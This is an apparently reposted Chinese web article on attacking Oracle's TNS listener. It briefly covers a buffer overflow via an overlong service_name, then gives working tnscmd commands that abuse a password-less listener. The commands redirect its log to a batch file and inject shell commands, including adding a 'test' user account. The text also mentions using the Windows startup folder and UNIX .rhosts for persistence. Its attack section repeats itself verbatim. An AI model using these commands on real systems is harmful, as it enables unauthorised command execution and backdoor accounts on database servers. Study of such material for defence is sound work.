針對Oracle的TNS listener的攻擊方法
發(fā)布日期:2021-12-18 21:09 | 文章來源:gibhub
首先,根據(jù)版本的不同,TNS listener可能較易受到多種類型的緩沖區(qū)溢出攻擊,這些攻擊可以在不提供用戶ID和口令的情況下被利用。例如:在oracle 9i中,當客戶機請求某個過長的service_name時,很容易受到溢出攻擊。當listener為日志構(gòu)建錯誤消息之后,service_name的值會被復(fù)制到某于棧結(jié)構(gòu)的緩沖區(qū)內(nèi),從而引起溢出—覆蓋保存值將返回棧中的地址。這種做法可以使攻擊者獲得控制權(quán)。事實上,TNS listener曾經(jīng)有過多次溢出和格式化字符串的漏洞。
其次,另一類攻擊和日志文件有關(guān)。只有當未給listener設(shè)置口令的時候,攻擊才會有效。假設(shè)某個listener沒有設(shè)置口令,攻擊方法如下:
tnscmd -h www.example.com -p 1521 –rawcmd “(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_directory)(ARGUMENTS=4)(SERVICE=LISTENER)(VERSION=1)(VALUE=c:\\)))” 將日志目錄設(shè)置到C盤
tnscmd -h www.example.com -p 1521 –rawcmd “(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_file)(ARGUMENTS=4)(SERVICE=LISTENER)(VERSION=1)(VALUE=test.bat)))” 將日志文件設(shè)置為test.bat
tnscmd -h www.example.com –rawcmd “(CONNECT_DATA=(( ||dir >test.txt||net user test test /add))” 該命令把dir >test.txt、net user test test /add命令寫入c:\test.bat文件,由于雙豎線的作用(第一條命令執(zhí)行失敗后,WINDOWS命令解釋器執(zhí)行后面的命令)把錯誤的信息注釋掉, 從而可以執(zhí)行我們提交的命令。
通過設(shè)置日志文件到不同的目錄,例如WINDOWS的啟動目錄,當服務(wù)器重啟將執(zhí)行惡意用戶提交的特定代碼,從而對系統(tǒng)造成威脅。
運行于UNIX系統(tǒng)上的oracle也會受到同樣的威脅。其中一種方法就是將“ ”回送給.rhost文件,當系統(tǒng)運行時,使用r*services命令。
其次,另一類攻擊和日志文件有關(guān)。只有當未給listener設(shè)置口令的時候,攻擊才會有效。假設(shè)某個listener沒有設(shè)置口令,攻擊方法如下:
tnscmd -h www.example.com -p 1521 –rawcmd “(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_directory)(ARGUMENTS=4)(SERVICE=LISTENER)(VERSION=1)(VALUE=c:\\)))” 將日志目錄設(shè)置到C盤
tnscmd -h www.example.com -p 1521 –rawcmd “(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_file)(ARGUMENTS=4)(SERVICE=LISTENER)(VERSION=1)(VALUE=test.bat)))” 將日志文件設(shè)置為test.bat
tnscmd -h www.example.com –rawcmd “(CONNECT_DATA=(( ||dir >test.txt||net user test test /add))” 該命令把dir >test.txt、net user test test /add命令寫入c:\test.bat文件,由于雙豎線的作用(第一條命令執(zhí)行失敗后,WINDOWS命令解釋器執(zhí)行后面的命令)把錯誤的信息注釋掉, 從而可以執(zhí)行我們提交的命令。
通過設(shè)置日志文件到不同的目錄,例如WINDOWS的啟動目錄,當服務(wù)器重啟將執(zhí)行惡意用戶提交的特定代碼,從而對系統(tǒng)造成威脅。
運行于UNIX系統(tǒng)上的oracle也會受到同樣的威脅。其中一種方法就是將“ ”回送給.rhost文件,當系統(tǒng)運行時,使用r*services命令。
版權(quán)聲明:本站文章來源標注為YINGSOO的內(nèi)容版權(quán)均為本站所有,歡迎引用、轉(zhuǎn)載,請保持原文完整并注明來源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站,禁止在非www.sddonglingsh.com所屬的服務(wù)器上建立鏡像,否則將依法追究法律責(zé)任。本站部分內(nèi)容來源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來,僅供學(xué)習(xí)參考,不代表本站立場,如有內(nèi)容涉嫌侵權(quán),請聯(lián)系alex-e#qq.com處理。
相關(guān)文章
下一篇: